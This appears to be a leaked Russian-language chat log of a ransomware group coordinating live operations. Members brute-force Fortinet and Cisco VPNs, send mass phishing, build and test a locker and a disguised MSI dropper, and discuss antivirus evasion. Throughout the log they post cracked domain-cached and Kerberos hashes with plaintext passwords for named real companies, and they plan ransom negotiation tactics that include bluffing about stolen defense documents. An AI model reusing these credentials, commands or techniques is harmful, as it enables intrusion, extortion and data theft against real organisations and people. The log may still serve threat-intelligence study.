да

в 17 запущу

форти конечно сложно брутить... делает обрыв соединения, после поптки авторизации(из-за этого приходится новое соединение делать, т.е. больше времени уходит в разы x10)

~ Log files: 10

почти 1к

1780 всего

но 1к похожие на сетки

но это без расшифроки пассов

> <@usernamegg:matrix.bestflowers247.online> 1к валидных экчейнжей

я там сидел еще смотрел эти айпишинки

как вы и говорили

там впн

тоже есть

только вот у меня не подошли доступы

просто даже если это эксченджи

то толку

что мы слать будем?

у вас получилось куда-то зайти?

ну в смысле попали в сеть?

да, сканирую

+

ладно, я туда все равно не полезу

с форти листа зашел

пока, что да, собирайте куда можете залезать вручную

я потом буду автоматизировать

чтобы вам проще было

+

запущу юсу и канаду

тоже 500к прошлю

новый сделал

`powershell -c "([ADSISearcher]'(ObjectClass=domain)').FindOne().Properties['ms-DS-MachineAccountQuota']"`

* MachineAccountQuota

ща

ну еще рано так-то

~ Log files: 10

да, увеличиваются

именно по странам ща сделаю себе стату

ага, принял

да, сейчас

я другим быстро отвечу

и сосредоточусь на нём

так, а остальные молчат

на виртуалке протестируй

Example name_encrypt_release_allsystem_x32.exe

звук только врубить не забудь

~ Log files: 10

пока что европы больше

опять же там реверсы могут быть, стата точно не чистая

такс, ща ещё докину

смешной еблан конечно

logistasolutions.com

эти говорят что не работает ссыль

разьебал

пойду ещё файлы посомтрю для всех

300k ушло

еще шлю пока

я отоду через пару часов

* я отойду через пару часов

> <@n3auxaxl:matrix.collectionofmanager.space> +++

или я что-то путаю

0337AE38 | 6905 CCA53903 C18761C0 | imul eax,dword ptr ds:[339A5CC],C06187C1 |

вход основной идет DllMain

но эскпортированы DllRegisterServer, DllInstall, DllUnregisterServer

длка запускается при атаче к процессу

как обычные длки

по DLL_ATTACH?

а точки входа есть разные

DLL_PROCESS_ATTACH

```

вот код

тут просто по дефайнам разбито еще

блин а я ж DllRegisterServer делаю запуск

но текущий дефайн - _DLL + _REG_DLL

понял

так можешь ее делать

в любом случае будет запуск

потому что атач произошел

у меня просто мейн не запускает, а сразу экспортную)

раньше же точно такой же билд был

да хз, что я тут накрутил как всегда

все окей же работало

понял

> <@n3auxaxl:matrix.collectionofmanager.space> sent a file.

1.7z

fcZFpcjOktQnXuMNkZsNnkeiGGEEQtxQFQbCuRyyCZdmXsczHg

строка

++++

Главное чтобы чисто было )

dynamite.ca

по этой сетке можешь глянуть все мыльники с пассами

там crowd strike

сетка реально на 300м

выпилиил локнули юзера

это с фортика доступ раскрутил почти

> <@n3auxaxl:matrix.collectionofmanager.space> Всем привет!

drps.zip

~ Log files: 10

ну расттут запуски

щас првоерю

все чисто

все стучит

А мой?

> <@n3auxaxl:matrix.collectionofmanager.space> все стучит

огонь

у всех

красота )

)

спасибо)

+++

шалом

запустил пока лайт подбор (14млн пассов)

через минут 20 сброшу

к ночи уже запущу уже большой список пассов

все норм сбрутил

но лишние пассы не помешают

данке

`Corp.gdglobal.ca`

* `corp.gdglobal.ca`

```

LOGS_PASSWD.txt

дополнил

пишется, ты интересуешься стадией разработки днс или чего то другого?

офнусь

до завтра

так софт готов, я пишу протоколы которые меня попросили, стилтокена у меня не было в тз

> <@usernamegg:matrix.bestflowers247.online> черные глаза

fls_kekhash.txt

$krb5tgs$23$*svrmgr$fls.local$MSSQLSvc/fls2k3.fls.local:2047@fls.local*$4f49a7efbc46700b901...5877ec2e3c:!QAZzaq1@WSXxsw2

++

щас

картинка еще +2.5 мегабайта

да, но это не 5 мин)

полчаса надеюсь

> <@usernamegg:matrix.bestflowers247.online> logistasolutions.com - tree

kekhash.txt

> <@usernamegg:matrix.bestflowers247.online> southernwater.co.uk - лог удаления

доделываю

Example name_encrypt_release_allsystem_x32.exe

да

> <@usernamett:matrix.bestflowers247.online> sent a file.

щас скину билд с музыкой

трогает

> <@usernamegg:matrix.bestflowers247.online> а до этого почему не работал музыка ?

щас будет

авторан и в обычном локере есть

так отличий же нет)

Example name_encrypt_release_allsystem_x32.exe

> <@usernamegg:matrix.bestflowers247.online> со звуком

ты имеешь в виду который таргет видит?

инструкцию со звуком для таргета или для адверта?

> <@usernameyy:matrix.bestflowers247.online> sent a file.

> <@usernamegg:matrix.bestflowers247.online> для таргета

нанять пендоса и дать ему сценарий, вот он офигеет, когда прославится

он в конце лока

картинка вначале

этот звук в фильме играет когда время кончается

логично что он должен быть в конце

++

звук работает независимо, так что пока локер активен музыка играет

ну в смысле что он не для каждого юзера отдельно

я проверил, звук есть

значит вы не включили трансляцию звука по рдп

вы машину то залочили?

у меня тоже виртуалбокс

микшер покажи

image.png

image.png

ты либо запустил не тот локер, либо он не работает

тут нет приложенияя

image.png

`$DCC2$10240#DoxAdminBennettT#7e2b706ec1c7677c2732734174669d1e`

```

$DCC2$10240#srvmgr#4822923ed25e7c35ad6a6c3f24032d53:!QAZzaq1@WSXxsw2

++

там трек такой, музыка играет бесконечно

отходил носик попудрить

да, локер 3 версии, только меняет изображение и звук

билд в панеле под никнеймом bb3music

Choose software:

вот тут

нет, будет воспроизводиться у всех пока локер активен, отдельного эвента на юзера нет

если юзер подключится и локер активен, значит, будет звук

если локер офнули админы, то не будет

он запускается в автозагрузке, но опять же если админы офнули, то уже не будет звука

> <@usernamegg:matrix.bestflowers247.online> sent a file.

dynamite.ca

nefcocorp.com

* nefcocorp.com

northamericansigns

`franklillandson.com - DONE`

```

envela.com

https://check-host.net/check-http?lang=ru

https://64.156.73.174:9443

привет еще раз, я пока что вам не нужен?

> <@usernamegg:matrix.bestflowers247.online> может

dutyfreeamericas.com

`ecsfin.com`

`017ec47b646e8b10b9689cb8a3ca4f4d`

`t-M[4#*:+g{a`

давай, отлично

с моими билдами не было проблем?

7455e62066635d7c328ceaa878ff95d6

> <@usernamess:matrix.bestflowers247.online> `017ec47b646e8b10b9689cb8a3ca4f4d`

$DCC2$10240#cvsinfotech#09097aca61c4b8b454f7f2519275d1dd

* $DCC2$10240#cvsinfotech#09097aca61c4b8b454f7f2519275d1dd

> <@usernamegg:matrix.bestflowers247.online> у тебя крипт не работает на тредмикро

`apisource.com`

> <@usernamegg:matrix.bestflowers247.online> почему не можешь обойти ?

я займусь им

я об этом говорил, что вы смотрите на зуминфо, а у меня база с аполло

я и говорил, что лучше перепроверять

https://www.apollo.io/companies/Duty-Free-Americas/5a9e3828a6da98d96644027d?chart=count

да, тут 34млн

https://www.zoominfo.com/c/duty-free-americas-inc/11993495

просто с зуминфо у меня не получилось выкачать инфу о компаниях

> <@usernamegg:matrix.bestflowers247.online> надо больше доступов нам брутить

в основном

```

+

```

```

processresult.txt

пустые колонки так и остались ниче не убирается

АЭС предлагают в индии тоже

я так понял ответ очевиден)

```

fe233fc06d68705a1266d671d0dcebb0

$DCC2$10240#mrogan#3ccee2679246aabcbf730a86a9a2ddd5:Password8

$DCC2$10240#jbarrios#85c7032f4a3a5d3b99d010c2327e448a:Caridad1

$DCC2$10240#aldiaz#bd2d85b1d7c22688a8f56f2dfdb9c223:Sienna@21

$DCC2$10240#awebster#cef16375fe7210980824d7f94e1a797a:Edge22

Airborne

`trozzolo.com`

скидывайте в блоке пожалуйста такие ответы

спасибо

$DCC2$10240#da_nmasson#0be7a62ba16e90c95ee49f9e1c344474:Neladmin14

> <@usernamenn:matrix.bestflowers247.online> скидывайте в блоке пожалуйста такие ответы

`barnsco.com`

> <@usernamehunter:matrix.bestflowers247.online> не совсем понял, это как?

спасибо Pro100boy

пишу пишу

REMET бы прайвит сделать

rub.txt

$krb5tgs$23$*thodges$DIASEMI.COM$diasemi.com/thodges*$bbded83c211e88523c5...d330c96623:Lambofgod23

ага

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*thodges$DIASEMI.COM$diasemi.com/thodges*$bbded83c211e88523c5...d330c96623:Lambofgod23

$krb5tgs$23$*jotter$DIASEMI.COM$diasemi.com/jotter*$b4445ffc9b0f7943384...60ae7bb349:d1nGd0nG

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*jotter$DIASEMI.COM$diasemi.com/jotter*$b4445ffc9b0f7943384...60ae7bb349:d1nGd0nG

LOL!

Ну они тупят, если не прояст

для безопасности - любой работник сольёт и всё

помнишь как с ABB было

++

> <@usernamejj:matrix.bestflowers247.online> sent a file.

> <@username777:matrix.bestflowers247.online> $krb5tgs$23$*mmanow$DIASEMI.COM$diasemi.com/mmanow*$5e55fcb4fa3d5ac57e0...371911d72b:Alvin04-1

```

`OPadmin036`

$DCC2$10240#opadmin#d0dd31a6fb1b597d4e64b83dee8fc6e8:OPadmin036

++

* `$DCC2$10240#opadmin#d0dd31a6fb1b597d4e64b83dee8fc6e8:OPadmin036`

`INT.GEORGECO.NET/mmiller:2cf43f9923daded0ada4c8f276a20e60`

2cf43f9923daded0ada4c8f276a20e60:mmiller:P@55w0rd

++

nerdio.net

glasswerks.com

`INT.GEORGECO.NET/bbrunder:828517cc404b0f1a926c7b598e0cfe6e:bbrunder:`

`lothar-rapp.de`

`sgk:$DCC2$10240#sgk#cdf98ffd473a706148e13f73f40d39a0`

`INT.GEORGECO.NET/Administrator:8e9660d45d92dc6081c90db048c2addb:Administrator:`

> <@usernamejj:matrix.bestflowers247.online> sent a file.

`$DCC2$10240#JBonchick#8b529d5a7907fa6e310720c425324f2a`

$DCC2$10240#jbonchick#8b529d5a7907fa6e310720c425324f2a:Sydney1

* `$DCC2$10240#jbonchick#8b529d5a7907fa6e310720c425324f2a:Sydney1`

ща скину кербы

не скину, сорри

++

о! а говорил - в токсе

на слабо брал

`$DCC2$10240#JSimmons#d76a3378a7306d4eb3aa6af869052f91`

> <@usernamemm:matrix.bestflowers247.online> `INT.GEORGECO.NET/bbrunder:828517cc404b0f1a926c7b598e0cfe6e:bbrunder:`

> <@usernamenn:matrix.bestflowers247.online> `$DCC2$10240#JSimmons#d76a3378a7306d4eb3aa6af869052f91`

случайно наоборот сделал, удаляю строки со всеми минусами

щас попробую переделать, на колонки нет функционала

`64.176.219.106:46503 CE`

`64.176.219.106:38189 CE`

доброе

dobroe

dobroe!

доброе

Dobroe!

доброе

тогда я убираю постепенное заполнение $$ , его пока нет, подтверди ты

> <@usernamegg:matrix.bestflowers247.online> выкачалось 3тья сетка норм ?

но медленно

не отъебнула все норм

сентинел )

не смотрели, я ел вчерашний салат

image.png

кто-то кроме нас юзал?

Доброе

да

++

FORTI_VALID_REVENUE.txt

через 30 мин сброшу еще креды с просыла

привет!

хорошо

да

вроде да

FORTI_BRUTED_VALID_REVENUE.txt

с брута еще нашло два

processes.exe

я в общем сделал, протестируйте, формат вывода теперь csv по умолчанию

AUTH_FROM_APOLLO_VALID_20240226.txt

> <@usernameyy:matrix.bestflowers247.online> тогда я убираю постепенное заполнение $$ , его пока нет, подтверди ты

+

`64.176.219.106:42975 FLS`

да

а что за база?

для брута мне нужна база мыло и пасс для определенных доменов

а не всех подряд)

+

+

```

> <@usernamezz:matrix.bestflowers247.online> ```

LOGS_PASSWD.txt

австраили и новую зеландию еще слал ночью

+ Hashes: 3940

и с автралии болльше всего скачиваний на данный момент\

> <@usernamezz:matrix.bestflowers247.online> ```

видимо потому, что база довольна свежая

так как не слали особо

)))

должны быть новости к выходным, есть супер план - оценишь

> <@usernamegg:matrix.bestflowers247.online> ```

+

+

+

погодите. тут на сервер тор соксы не раболи. разбирался

еще запуститься хочу

ага, тут как раз нужено знать имя пользователя

192.168.237.131 только вот это что

это смб

возьму сервер под это, проверю

европу запустил.. эту неделю тогда пособираем хеми

* европу запустил.. эту неделю тогда пособираем хеши

yy: !

```

это процессес?

da

processes.exe

вот отсюда дай ошибку

`execute-assembly processes.exe -threads 5 -pingtimeout 30 -proctimeout 60 -fromfile c:\users\public\list.txt -throttle 5 -outresult c:\users\public\ALLBAU_outfile.xls`

```

там есть возможность к лдап подключатсья?

2 раза один и тот же процесс добавил?

> <@usernamess:matrix.bestflowers247.online> там есть возможность к лдап подключатсья?

> <@usernameyy:matrix.bestflowers247.online> 2 раза один и тот же процесс добавил?

ну тогда убери просто, лог главного потока я оставлю, так что можно юзать последний софт

запустил

OK

РАБОТАЕМ

нормально выдало?

да

только

разделитель

всё верно

csv формат сделай

он по умолчанию нормально будет подгружать

ok

без надстроек

я настроил

похуй

пока

нет еще

с форти разбирался

сейчас вот эксплоитом занимаюсь этим

он что-то у меня не работает

на 5 проверял

сейчас попробую на винде проверить

Ghbdtn

Привет

ecivt.com ++

та пришел

думал опять не будем запусакться, вот и решил выспаться

ааа)

понял

пока не продлевай тогда

как будет что слать

сразу продлим

чтобы лишний раз ничего не платить

ага, ну хорошо

у меня пролито все на закрепах

пока все чисто

щас я гляну детальнее, что он там за ссылки поприсылал

```

со вторым все тоже самое

понял логику, но вряд ли пройдет такое

он пытается из excel запустить WORD , чтобы типо там не было MOTW, чтобы можно было нажать Enable Editing

но в XLSX файла на обычной юзерской тачке, может и можно нажать Enable Editing даже с MOTW, а вот на корп тачках я хз пройдет ли такое

я тоже начинаю щас заниматься нагрузками

щас придумаю что то

eac4b846a3e6268ec5c89bee29cb466a

`snghair.com`

++

`exigoop:$DCC2$10240#exigoop#c23feeed6e055752af3a5cc7fc099c5c`

хз, короч

у меня не работает

System.InvalidCastException: Unable to cast object of type 'System.DBNull' to type 'System.String'.

вся ошибка нужна

image.png

ппц

image.png

оно не записывалось судя по ошибке

www.hwcoates.co.uk

```

там пустая строка в процессах появилась или что поменялось?

ничего не поменялось

я только тачки перезалил. процессы теже остались

processes.exe

всм процеллы не заливал.

ну если есть доступ то это легко выкачать

это ова и есть по сути

> <@usernameyy:matrix.bestflowers247.online> sent a file.

я сейчас юзерские тоже добавил вот и ощибка. с серверами нормально сняло. хз в чем дело

по-сути количество компов только увеличилось

* я сейчас юзерские тоже добавил вот и о=шибка. с серверами нормально сняло. хз в чем дело

они сейчас смешаны или только юзерские?

смешанные. жду завершения своего и твой новый запущу

`pepco-ft4.com`

`kinseth.com`

`scorpiomasonry.com`

`$krb5tgs$23$*rsd-admin$adwin.renesas.com$VeeamCdpSvc/VM0003-BK1@ADWIN.RENESAS.COM*$57E0DF450CE7AE0035FF435862336B00$4E4093D5C754603BB186B4ECDDA316610244C868C141875B960D9CBEC0CCF74828BC42D47F7CBA9F39F546F1034D693F6971BD6C98D26671D3CD7B449145A1DABC3C757205BDDD5C41FBFF25E4A780DA08B36F349DA286B9F376B91CB1CC377D8EF7911BD2EB88E7E4058D0D0DDB24E682D0A618CFA7C57890D11C2C4745AEF3BCEE0298A1B721E5D31BE58E4D3DD621E29FC856913D91D72FED4B8E452639BB7A6CD0206B03384790D8A6891E9B194A687954FD447951127D5B88C561D07FC012F11A9F5E98272876D4C6BF5DD1F9CCCD004994185A4843E5491DF463576CE771E7A8F9ABF943537B3DC23FB4635A645428AF0D042081C28A0B708FD5E83A40E01F3BA6371F1E07E82D6250717DCB63F1CE8899AE27715C9AD6D8AAC49B3656A6E045FCFF910D0482F90BB15A30068EAE7752AC6765F595DE542A3F753AF29BE83F168AB67AB02E3E045142B44BDFB477CCF1AE1E436714931A757F67CE4D4AB45470FC382E876EC8822492CA1042EE4B37401AE16173B156DD06C1E187F1DEFEA627D4F20759E062AB15E7B7E93FFC1176E6F01DBD78331E28DEE633320D15EA47BD95E584D9043CE0DC66B2BDCF6664345E5C5B570C7528D3C509B21E19EEF084D532195E7716F36BBD37DE4C9AED734697375F612035D0587FEE89CE70EEB45F95CF1FE1F027EA4FA177DF60D3B11CCE0752861B6643B2FB34D80E8F029D88F2A50439DA64F90AB777C3D4A06B4B6E70445CD6D2D8D50452AE0B39181F3745DEB36F0152A0E111DE6F87A81ED8C9FF1E0E1F50D821AD92EADB1895096EAC1968A19DA8D8E556D3DEA4BB684CB9F564EBB181F9D4D7EA03CEFFF096D7824D0D34E3F70DDF59E3FBB6780FFF80D596695ADD1C2B475ADB58F674D765538F174E2CCD9192CCE15726804636A914E664B0E7707BA3314BAAE3DC8A4980CDC4714714DB23BC78142E81D286FA30A2841DA4513DBF8B13FFDBF8CD31C89136AB920C1EB99971346D16CEC81B3854F433676CFF22A7E6BD760D7B2F260EF5DBA9C00C98F8C80CC387937F229EF2B29C33F039077995DC70A9E6147406FFE994B690544EC78FF280CBDA8CDFBF66E375215EF23E9ED82CA49E5A130B2919941C6339C4F9F45FE5DE2424C6CBAEFC546B404843F97D61E1762F22A8C64D77BD3CFACAC9A7ED14EF1088C093AD32AA99D50B50D29EF2C9C6CC23ADB15097002D4380B5D8F6D1DFFA449E9D2440766C2DF71F51D4AD6ABCA1AA901545133E950E2F8433D716E17E093B02E7CF2A32FC3B13E6861C5D30DE5AC597EBFE103AA1507EA5DA184A955E1BEEAD7E54D58FC3398D60F7CC42D5F82531AC73CEA1659BD1F22E5005061264FCD458B73381B9CD402AC8E2C407FB9BDC77D759C5CB12FF4922515F814FA25A58D6AF1AA4012768ED128099BA368FBE54B8AE0E2F98B8F0FC144A18FAC70AC5A47009A471F5DC56BF5AC48C0AC2758EC4D61AD20B93D71DC9F66C3D53302FD4086B25771C1B60C46DEA73F50624CC691D700CB6C3572FDEA011C651FE01313B54A6E7C38D307ED8A9124ED62FB9D6DB8A338FBD1BB8DF3FE428667B4AF9EB56B0928EBB7EF4B45CA695B7983CABFA076CD28FF148D6805BA68ED508E0D197E1C49712C133A54B05FAE3AEC29344B365C04B8E07BEC05AA747010EE193F4C27C8BF335294CEF6B4C8F9D269CCBB5C3CFF7CA3919470717904B25067D70076D52220E40D5388854D239051B57B6D1A267A20DFAA4B1F5196BCC5E66D0AD98DA905E185950696CC25EE5FDB3B40883C8AFC722FDDA7659AE788A5295B1707CFECF70812311095506BF930DE3D8DEE7F16025FCEDA3B631EB79E1A9CE3D02377EB1077F01BD619A02D0D7EBA8A9E4F09412533C8A8F6BA159D93353ADFD6D1E68B5585604A11ACCB3CEB8DFE48E527E54C287BB1E4B31E186FE528C2E92817CBE238571CB5956ED6EA1DE1EAECAABF340219BB81FF4E3BF02BCEA68EE0524AC1037C5EAC6820BE4F534BFC5B73C5812316F9C36228269FB1938C1E02CDFDC984E4CD146E1BF5F431874BC29BBAD44E44606EAF9BE2270DCD39444328995E87AA7B4430A3CF826F04F60FDF048DC451A156D5DD5923A71AF01C5E708F3C9FE73AF86BB6E2E0EA1D2D64D79BDE0609A7985D1DA4E043AC19CEFA2D67ADB957F4687C11B449BF95EC78FA817AE2D09B9EC4BAFEB022E54AA6310AC99714DE2AF46DCFC97C21CD9BC76F59683D88BDA5DEFEF14F62B79BDFE04A2CABD3773BFEE8BA9A17E686D4B20DFA376AF05ED8E5783244235105E747B2C19403D25324D60495783EB184284EF58CD89DC829CE1C56931E0436F8A2640A418C339B306FE06906FB75CE62456D1C6AB5CE604799499A71EA2A7F6834EF3052E68053A0321E111F939BD7495AAAD98880C840B204B56225C9F9EBF7C5116965BE489FCF880D372DD3A7A75E64ED489CA3E64DD1FBD3F29C1F40D74B2FE08E29644A204BF2F64D392B9345B4BE231B95255203BAF8B061A3F886FDB5271FB518294EA02DEEBF18411211CEA5E9251A3B96FCFED4C5FDBB64EEBCBA3AC60F9CF81BDF20FC4E0FC9B81BE1FD596FCBC6893F337A7B42E03703EF7FE005651AF2638B51A830DCCE8DD9AD6FEA0385D2A64404088B3FC357340484CED5C6F95001492BC`

```

API%admin!3

image.png

9 коба желтый бикон

это не брут, это с мыло и пасса

это не на долго)

+

FORTI_DOMAINS.txt

вот от этих мне нужны мало и пасс

у них есть форти

+

у меня у одного коба 4.9 постоянно багается и вылетает?

у меня норм

скачай файл пожалуйста в том биконе

у меня вылетает когда я пытаюсь скопировать

done

```

всё я сделал

ok

проблема была в недоступных компах

а как раньше было, они выводились или нет?

1d81c654b9055da3dccf121871850bb3:administrator:W1nd0w

++

если тачка не доступна то ее не было в списке

ок щас уберу тогда

были только те на которых запросились процессы

processes.exe

щас на сетке 1к серверов чекну на процессы, если все ок - то релиз

`pdq-airspares.co.uk`

+

я пока с расшифрованных хешей хочу поискать рдвебы или форти

но я попробую еще поиска в подсети

т.е. если айпишник был 2.231.24.170

до поищу в 2.231.24.*

т.е. на 256 серверах

ладно, посмотрим, выйдет ли что

`brooktaverner.com`

ofc boe

щас ищу

занимаюсь этим

> <@usernamegg:matrix.bestflowers247.online> ```

щас читаю много инфы с 2020 года и по сегоднящний день

все что найду в гугле

как можно больше прочитаю, может прийдет что то в голову

ну жесть они походу гайки подкрутили, потому что очень мало вариантов

надо что то либо полностью новое, либо раскручивать старое тупо до неузнаваемости

чтобы сами фильтра мы проходили

ибо АВ это такое дело

это херня по сравнению с фильтрами

на скачивание

и так далее

та даже на прием сообщения

ибо я насколько я понимаю и как бы я это сделал, я бы заблочил прием сообщений, скачвиание ( и четкая фильттрация по extension и по regex в бинарной развертке файла

ну и обычная прегенрация данных, если это ZIP , который можно распаковать

или ISO

и так далее

кароче жесть они в бункер упали

что в танке сидят)

пора их доставать оттуда, а то давно света не видали

`ADWIN.RENESAS.COM/jian.wang.adm:$DCC2$10240#jian.wang.adm#d9c0fc672c19359fda1d7db299ea04c5`

ок

тут мои еще чекаются

у него всего 30Мегабайт вышло

у меня там было 500мб вроде

ладно, посмотрим

нужно мне еще сделать так, чтобы было понятно, что это с его файлов

RECN_all_kekhash.txt

SEMI_all_kekhash.txt

> <@usernamess:matrix.bestflowers247.online> sent a file.

IDTEUR_all_kekhash.txt

> <@usernamess:matrix.bestflowers247.online> sent a file.

> <@usernamess:matrix.bestflowers247.online> sent a file.

$krb5tgs$23$*SRMSvcUser$intersil.corp$MSSQLSvc/pbutil2.intersil.corp:1433@intersil.corp*$41b...fa5dceb:compaqmgr

$krb5tgs$23$*grpmgmt$intersil.corp$HTTP/pbutil2.intersil.corp@intersil.corp*$ecb39d....ac231445:M3te0r@

ок, скоро сделаю под его

FORTI_VALID_FROM_SPM.txt

нашел один форти

с пассов, что были расшифрованы с просыла

мало

слушай, есть идеи как сделать msi, так чтобы она не палилась быстро

как думаешь, с ней норм будет?

или msi херня?

она должна быть чистая

+

ну вот допустим, она полностью чистая и она будет в коцне открывать PDF, чтобы юзер не бил тревогу

и длка будет запускаться не под MSI

а от системы

да, давай

я покеа буду делать

ибо задача сложная с этой MSI будет

я хочу сделать чтобы оно было точно так же, как обычный легетимный софт

как буд то ты реально что то устанавливаешь в систему и потом открывают документацию в конце

это типо PDF будет

в динамике детектило?

запустил, но чет пока нет валида

странно даже

> <@usernamess:matrix.bestflowers247.online> щас на сетке 1к серверов чекну на процессы, если все ок - то релиз

пока нет

как будет - скажу

Добрый день. Уменя дедик падал. Были задачи?

Добрый, вроде нет

Понял

Привет, пока нет

Немного другим занят сейчас

++

50kbigtest.txt

Total: 50,000

херня

FORTI_DOMAINS_CORP.txt

вот по ним лучше пусть даже выдаст мыло и пасс

PDQ_kekhash.txt

> <@usernamezz:matrix.bestflowers247.online> sent a file.

++

чет они не оч выдали мыло и пасс

что-то пока ни одного валида

я перепроверил, со скриптом вроде все ок

12_443_x64

12_443_x86

muaddib6: burrito Срочно

disabler.exe

`colormark-lc.com`

12_443_x64

для брута циско еще нужен сервер

такой же как и для этого можно по конфигурации

`365:$DCC2$10240#365#a7137e934ce702b4af62a5319de0b65d`

делаю

c фифо пусть тоже соберут "CSCOE+

и с другим сервисов тоже

$DCC2$10240#365#a7137e934ce702b4af62a5319de0b65d:S4msung!

```

++

b9b49d89ce84f15bf4a18a9e6a982aed

$krb5tgs$23$*DEV_SCOMDA$intersil.corp$MSOMSdkSvc/pbmomd04.intersil.corp@intersil.corp*$58a204be55...88f35c51503f4c4011c92cf7a:scomR0cks!

++

скоро скину тестовую версию, очень даже неплохо получилось)

pbhcpa.com

```

это ошибка авторизации, от меня не зависит

kekhash.txt

Apologies for the approach taken by the previous contact who is no longer involved and will not access this chat.

вот это я жёстко его уебал

мне кажется, им надо сбить немного

цену

по бумагам кэшфлоу у них так себе

---

sierralobo.com - вот по этим ребятам сделал блог, сейчас в дате у них капашился там проекты всякие космические конфиденциальные у них контракт с NASA. думаю у них надо просить не по ревеню.

https://sierralobo.com/media/news-and-announcements/

---

да, я смотрел их долго вчера - это большая логистическая фирма

судя по докам там целый конгломерат

да, видел - там инженерные проекты судя по всему defense contracting

`3cab80e0bfba18100be4886de06faf32`

я думаю там DoD доки есть, если поискать

надо может просто блефануть и сказать что нашли их

+

ну конечно я проверяю только доступ в форти

еще чекатся

VALID_need.txt

вот одно нашло из need.txt

форти хуже чекать, кадый раз новый запрос

новое соединение нужно делать

по ситрикс делаю

сбросьте мне валидные ситриксы для тестов

* сбросьте мне валидные циско для тестов

* по циско делаю

+

_+CSCOE+_ (2).txt

good_cisco.txt

+

да

я понимаю